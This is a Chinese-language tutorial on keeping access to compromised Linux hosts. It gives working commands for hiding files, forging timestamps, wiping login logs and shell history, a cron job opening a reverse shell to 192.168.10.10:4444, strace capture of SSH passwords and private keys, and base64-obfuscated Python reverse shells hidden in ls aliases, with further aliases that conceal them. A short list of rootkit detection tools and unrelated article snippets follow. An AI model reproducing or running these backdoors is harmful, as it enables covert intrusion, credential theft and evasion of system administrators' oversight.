Linux权限维持—Strace监控Alias别名Cron定时任务
Linux权限维持—Strace监控&Alias别名&Cron定时任务
- 1. 前言
- 2. 隐藏手法
- 2.1. 时间伪造
- 2.1.1. 修改时间
- 2.2. 隐藏文件
- 2.3. chattr命令
- 2.3.1. 命令参考
- 2.3.2. 属性添加
- 2.3.3. 属性解除
- 2.4. 历史命令
- 2.4.1. 隐藏命令
- 2.5. 清除登录日志
- 2.5.1. 清除登录成功日志
- 2.5.2. 清除登录失败日志
- 3. 定时任务—cron后门
- 3.1. 编辑后门反弹
- 3.2. 添加定时任务
- 3.3. 查看反弹效果
- 3.4. 查看流量
- 4. 监控功能—strace后门
- 4.1. 记录sshd明文
- 4.2. 记录sshd私钥
- 4.3. 问题
- 5. 命令自定义-Alias后门
- 5.1. 基础演示
- 5.2. 基础反弹
- 5.2.1. 查看效果
- 5.2.2. 问题
- 5.3. 高级版反弹
- 5.3.1. 执行命令
- 5.3.2. 查看效果
- 5.3.3. 问题
- 5.4. 持久化
- 5.4.1. 修改文件
- 5.4.2. 查看效果
- 6. 内核加载LKM-Rootkit后门
- 7. Linux检测工具
1. 前言
在上篇文章中介绍了几种权限维持的方式,感觉很多手法都是能够被发现的,或者很明显的,比如文件的落地时间,通常在运维人员在看见新文件的时候,都会去看看,文件里面写的是什么,是谁建立的,如果运维人员就一个,那么肯定被查的概率更高。
所以有时候需要适当的隐藏自己留的后门。
2. 隐藏手法
这里主要就讲述一些常见的隐藏手法,只要隐藏的深,那运维人员就不易发现,那么权限维持的时间就长。
2.1. 时间伪造
提前创建了一个1.txt的文件,我们查看一下1.txt的时间,可以明显发现格格不入,如果是运维人员看见,那么一定会去排查这个问题,那么如果这个是木马文件,那么就直接被发现了。
ls -l

2.1.1. 修改时间
这里我们就将时间修改一下和公共的文件夹时间一样,这里修改完就可以实现对时间的伪造。
touch -r 目标时间戳的文件 要修改时间戳的文件

2.2. 隐藏文件
隐藏文件主要就是靠运维人员日常排查的相关来进行权限维持的,在Linux系统文件前面添加一个.就可以实现文件的隐藏,而如果运维人员在排查的时候仅仅使用ls,那么是很难排查到隐藏文件的。
可以看到直接使用ls是无法查看到1.txt文件的,必须使用ls -la来进行排查。
touch .1.txt

2.3. chattr命令
这个命令在Linux系统中是用于锁定一些重要文件,避免被删除,而我们就可以利用这个命令进行伪造,来避免文件被删除,同时也能够在一定情况下忽悠运维人员以为是系统文件,从而不去删除。
2.3.1. 命令参考
chattr 参数 文件名
a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。
2.3.2. 属性添加
这里是要+i,不是-i,相当于是给文件添加上属性。
chattr +i 1.txt

2.3.3. 属性解除
这里只要将前面的+i修改成-i即可接触属性。
chattr -i 1.txt

2.4. 历史命令
history命令是能够查询到命令执行历史的,而在我们执行木马运行命令后,如果不删除这些命令就会出现被排查的情况,那么这时候就需要将命令隐藏也就是不记录。

2.4.1. 隐藏命令
其实在执行命令的时候,在命令前面添加一个空格,那么这个命令执行就不会记录到历史记录中,这个技巧如果在你的系统不管用,请查看下环境变量 HISTCONTROL 是否包含 ignorespace,貌似 centos 系统默认没有设置这个值。
history -c ##清除缓存
echo > ./.bash_history #彻底删除命令
这里我就不演示了,主要是在Linux中不知道为什么这些命令参数都无法执行。
2.5. 清除登录日志
这里将这些日志清除就可以避免被发现登录的IP地址等信息。
2.5.1. 清除登录成功日志
echo > /var/log/wtmp ##此文件默认打开时乱码,可查到ip等信息
last|grep root ##此时即查不到用户登录信息

2.5.2. 清除登录失败日志
echo > /var/log/btmp ##此文件默认打开时乱码,可查到登陆失败信息
lastb |grep root ##查不到登陆失败信息

3. 定时任务—cron后门
cron后门,主要就是利用系统的定时任务功能实现反弹shell。
3.1. 编辑后门反弹
这里创建一个隐藏文件,然后在隐藏文件中添加反弹shell的地址及端口,在给脚本添加一个执行权限。
vim /etc/.backshell.sh#!/bin/bash
bash -i >& /dev/tcp/192.168.10.10/4444 0>&1chmod +x /etc/.backshell.sh

3.2. 添加定时任务
设定每分钟自动执行该脚本。
vim /etc/crontab
*/1 * * * * root /etc/.backshell.sh

3.3. 查看反弹效果
在攻击机上监听本地的4444端口,来等待反弹shell执行。
nc -lvvp 4444

3.4. 查看流量
这里我们可以去目标主机上查看一下端口连接情况,可以看到是存在4444端口的连接的。
netstat -ant

4. 监控功能—strace后门
strace是个功能强大的Linux调试分析诊断工具,可用于跟踪程序执行时进程系统调用(system call)和所接收的信号,尤其是针对源码不可读或源码无法再编译的程序。在Linux系统中,用户进程不能直接访问计算机硬件设备。当进程需要访问硬件设备(如读取磁盘文件或接收网络数据等)时,必须由用户态模式切换至内核态模式,通过系统调用访问硬件设备。strace可跟踪进程产生的系统调用,包括参数、返回值和执行所消耗的时间。若strace没有任何输出,并不代表此时进程发生阻塞;也可能程序进程正在执行某些不需要与系统其它部分发生通信的事情。strace从内核接收信息,且无需以任何特殊方式来构建内核。
而且strace可以当作一个键盘记录的后门。
4.1. 记录sshd明文
这里首先记录密码,等待用户下次使用ssh进行连接,连接后就会在你设置的这个目录中存储明文密码。
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &) ##记录ssh登录密码存储到/tmp/.sshd.log文件中。grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log ##查看这个文件。

这里使用筛选来查找就是为了更加的方面查找到密码,否则可以去看看,该文件中登录一次的内容都很多,靠肉眼很难查找到。
4.2. 记录sshd私钥
(strace -f -F -p ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'} -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &) ##这里也是同样的记录私钥到该文件中。grep ‘PRIVATE KEY’ /tmp/.sshd.log ##读取私钥。
4.3. 问题
这个命令文件存在一个很大的问题就是,会一直记录登陆的字节流,可以去查看一下文件,这个文件会越来越大,所以如果真实环境下,还是少用该方式吧,避免由于文件占用过大,导致硬盘报警,从而被发现。
ls -al /tmp/.sshd.log

5. 命令自定义-Alias后门
alias在Linux中主要是用于设置命令的别名,比如当你设置ls等于ls -al的时候就可以使用alias来实现。
5.1. 基础演示
可以看到原先的ls只是显示一些基础内容,而设置别名后,就会出现ls -al的执行效果。
alias ls='ls -al' ##设置别名
unalias ls ##删除别名

5.2. 基础反弹
这里修改一下反弹的shell地址与端口,同时等待运维人员输入ls命令即可。
#将ls设置为反弹shell
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.10/4444 0>&1; };alerts'

5.2.1. 查看效果
可以看到这里是成功反弹了。
nc -lvvp 4444

5.2.2. 问题
这里执行ls后会成功执行命令,但是存在一个很大的问题就是ls命令会卡死,无法操作,只有攻击者将会话结束,才能够恢复。
5.3. 高级版反弹
这里其实就是调用python的模块来执行,利用socket反弹一个shell,同时这里是使用bash64进行加密了,届时修改的时候,可以将该密文中的IP地址及端口修改为自己的即可。
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMCIsIDQ0NDQpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp=='\'')))";};alerts'

5.3.1. 执行命令
这里将命令别名绑定到ls命令上,这里可能会有一点小问题就是有些系统上并没有安装python3,所以我也不测试了。

5.3.2. 查看效果
可以看到确实是反弹过来了,不过是使用的是python,并没有指定python3,所以这里反弹回来后,并不能执行命令。
nc -lvvp 4444

5.3.3. 问题
这里最终的问题就是存在一个python版本问题,同时如果运维人员设定过ls命令的别名,那么你一修改,那么一定会被发现,同时该手法在重启后就不再生效了。
5.4. 持久化
这里就是保证系统在重启后依旧能够生效。
5.4.1. 修改文件
vim /etc/upload #将下面的三个后门命令写入
alias ls='alerts(){ ls $* --color=auto;python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xMCIsIDQ0NDQpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp=='\'')))";};alerts'alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

vim ~/.bashrc
#在最后面写入
if [ -f /etc/upload ]; then. /etc/upload
fi

5.4.2. 查看效果
没成功。
nc -lvvp 4444

6. 内核加载LKM-Rootkit后门
正常情况下Linux的后门多数都是使用msf来建立连接,但是这些连接都会被运维人员发现,所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
reptile
使用参考
关于这个,起初我是准备写的,但是我发现那么多服务器的内核版本都不符合这个工具的测试的范围,本地镜像我也懒得找了,同时可以去看看,其他作者写的方法,还有这个工具在2020年的时候停更了。估计也用户了多久了。
7. Linux检测工具
本程序旨在为安全应急响应人员对Linux主机排查时提供便利,实现主机侧Checklist的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源。
linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等
Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer
GScan
相关文章:
Linux权限维持—Strace监控Alias别名Cron定时任务
Linux权限维持—Strace监控&Alias别名&Cron定时任务 1. 前言2. 隐藏手法2.1. 时间伪造2.1.1. 修改时间 2.2. 隐藏文件2.3. chattr命令2.3.1. 命令参考2.3.2. 属性添加2.3.3. 属性解除 2.4. 历史命令2.4.1. 隐藏命令 2.5. 清除登录日志2.5.1. 清除登录成功日志2.5.2. 清…...
微服务中间件--统一网关Gateway
统一网关Gateway 8.统一网关Gatewaya.搭建网关服务b.路由断言工厂c.路由过滤器GatewayFilterd.全局过滤器GlobalFiltere.过滤器的执行顺序f.网关的cors跨域配置 8.统一网关Gateway 网关功能: 身份认证和权限校验服务路由、负载均衡请求限流 网关的技术实现 在Spr…...
Fabric.js 元素选中状态的事件与样式
本文简介 带尬猴! 你是否在使用 Fabric.js 时希望能在选中元素后自定义元素样式或选框(控制角和辅助线)的样式? 如果是的话,可以放心往下读。 本文将手把脚和你一起过一遍 Fabric.js 在对象元素选中后常用的样式设置…...
数据通信——传输层(UDP)
引言 我们上网观看比赛的时候,一旦网络信号出现问题,那可就太难受了,这意味着卡顿的时间内,你会错过这段时间内的内容。这种特性要归功于UDP(User Datagram Protocol)用户数据报协议。 无连接性 一般的&am…...
Python(八十六)字符串的编码与解码
❤️ 专栏简介:本专栏记录了我个人从零开始学习Python编程的过程。在这个专栏中,我将分享我在学习Python的过程中的学习笔记、学习路线以及各个知识点。 ☀️ 专栏适用人群 :本专栏适用于希望学习Python编程的初学者和有一定编程基础的人。无…...
Android OkHttp 源码浅析二
OkHttp 配置参数: get:JvmName("dispatcher") val dispatcher: Dispatcher builder.dispatcherget:JvmName("connectionPool") val connectionPool: ConnectionPool builder.connectionPool/*** Returns an immutable list of interceptors that observe…...
Python(八十四)字符串的切片操作
❤️ 专栏简介:本专栏记录了我个人从零开始学习Python编程的过程。在这个专栏中,我将分享我在学习Python的过程中的学习笔记、学习路线以及各个知识点。 ☀️ 专栏适用人群 :本专栏适用于希望学习Python编程的初学者和有一定编程基础的人。无…...
【QT】绘制旋转等待
很高兴在雪易的CSDN遇见你 ,给你糖糖 欢迎大家加入雪易社区-CSDN社区云 前言 程序中经常会遇到耗时的操作,需要提供等待的窗口,防止用户多次点击造成卡顿等问题。本文分享旋转等待技术,希望对各位小伙伴有所帮助!结果如下:...
Electron学习3 使用serialport操作串口
Electron学习3 使用serialport操作串口 一、准备工作二、 SerialPort 介绍1. 核心软件包(1) serialport(2) serialport/stream(3) serialport/bindings-cpp(4) serialport/binding-mock(5) serialport/bindings-interface 2. 解析器包3. 命令行工具 三、创建一个demo程序1. 创建…...
激活函数总结(十七):激活函数补充(PELU、Phish)
激活函数总结(十七):激活函数补充 1 引言2 激活函数2.1 Parametric Exponential Linear Unit(PELU)激活函数2.2 Phish激活函数 3. 总结 1 引言 在前面的文章中已经介绍了介绍了一系列激活函数 (Sigmoid、Tanh、ReLU、…...
[bug日志]springboot多模块启动,在yml配置启动端口8081,但还是启动了8080
【问题描述】 配置的启动端口是8081,实际启动端口是8080 【解决方法】 1.检查application.yml的配置是否有错误(配置项中,显示白色就错,橙色无措) 2.检查pom.xml的打包方式配置项配置,主pom.xml中的配置项一般为:&l…...
【每日易题】七夕限定——单身狗问题以及进阶问题位运算法的深入探讨
君兮_的个人主页 勤时当勉励 岁月不待人 C/C 游戏开发 Hello,米娜桑们,这里是君兮_,在写这篇博客的前一天是七夕,也是中国传统的“情人节”,不知道各位脱单了吗?碰巧最近刷题时遇到了经典的单身狗问题想带大家深入探…...
消息队列前世今生 字节跳动 Kafka #创作活动
消息队列前世今生 1.1 案例一: 系统崩溃 首先大家跟着我想象一下下面的这个的场景, 看到新出的游戏机,太贵了买不起,这个时候你突然想到,今天抖音直播搞活动,打开抖音搜索,找到直播间以后&am…...
『SEQ日志』在 .NET中快速集成轻量级的分布式日志平台
📣读完这篇文章里你能收获到 如何在Docker中部署 SEQ:介绍了如何创建和运行 SEQ 容器,给出了详细的执行操作如何使用 NLog 接入 .NET Core 应用程序的日志:详细介绍了 NLog 和 NLog.Seq 来配置和记录日志的步骤日志记录示例&…...
Django会话技术
文章目录 Cookie实践运行结果 CSRF防止CSRF Session实践 Cookie 理论上,一个用户的所有请求燥作都应该属于同一个会话,而另一个用户的所有请求操作则应该属于另一个会话,二者不能混淆,而web应用程序是使用HTTP协议传输数据的。HTT…...
Tree of Thoughts: Deliberate Problem Solving with Large Language Models
本文是LLM系列的文章,针对《Tree of Thoughts: Deliberate Problem Solving with Large Language Models》的翻译。 思维树:用大模型进行深思熟虑的问题解决 摘要1 引言2 背景3 思维树:用LM进行深思熟虑的问题解决4 实验5 相关工作6 讨论 摘…...
C语言刷题(13)
第一题 第二题 第三题 第四题 第五题 第六题 第七题 注意 1.nsqrt(n),sqrt本身不会将n开根 2.初始化已经令sumn了,故相加的个数为m-1次...
RK3568 uart串口
一.简介 串口全称叫做串行接口,通常也叫做 COM 接口,串行接口指的是数据一个一个的顺序传 输,通信线路简单。使用两条线即可实现双向通信,一条用于发送,一条用于接收。串口通信 距离远,但是速度相对会低&a…...
企业数字化转型中,VR数字展厅能有哪些体验?
在数字化转型的浪潮下,企业纷纷开始注重数字展厅的开展,VR虚拟展厅结合VR全景技术,可以创造出许多有趣的玩法和体验,无论是虚拟参观、互动体验还是VR云会议对接,都为企业客户带来了全新的感知方式。 同传统展厅相比&am…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验
一、多模态商品数据接口的技术架构 (一)多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如,当用户上传一张“蓝色连衣裙”的图片时,接口可自动提取图像中的颜色(RGB值&…...
数据链路层的主要功能是什么
数据链路层(OSI模型第2层)的核心功能是在相邻网络节点(如交换机、主机)间提供可靠的数据帧传输服务,主要职责包括: 🔑 核心功能详解: 帧封装与解封装 封装: 将网络层下发…...
EtherNet/IP转DeviceNet协议网关详解
一,设备主要功能 疆鸿智能JH-DVN-EIP本产品是自主研发的一款EtherNet/IP从站功能的通讯网关。该产品主要功能是连接DeviceNet总线和EtherNet/IP网络,本网关连接到EtherNet/IP总线中做为从站使用,连接到DeviceNet总线中做为从站使用。 在自动…...
浅谈不同二分算法的查找情况
二分算法原理比较简单,但是实际的算法模板却有很多,这一切都源于二分查找问题中的复杂情况和二分算法的边界处理,以下是博主对一些二分算法查找的情况分析。 需要说明的是,以下二分算法都是基于有序序列为升序有序的情况…...
网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...
【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习
禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...
让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比
在机器学习的回归分析中,损失函数的选择对模型性能具有决定性影响。均方误差(MSE)作为经典的损失函数,在处理干净数据时表现优异,但在面对包含异常值的噪声数据时,其对大误差的二次惩罚机制往往导致模型参数…...
Linux 内存管理实战精讲:核心原理与面试常考点全解析
Linux 内存管理实战精讲:核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用,还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...
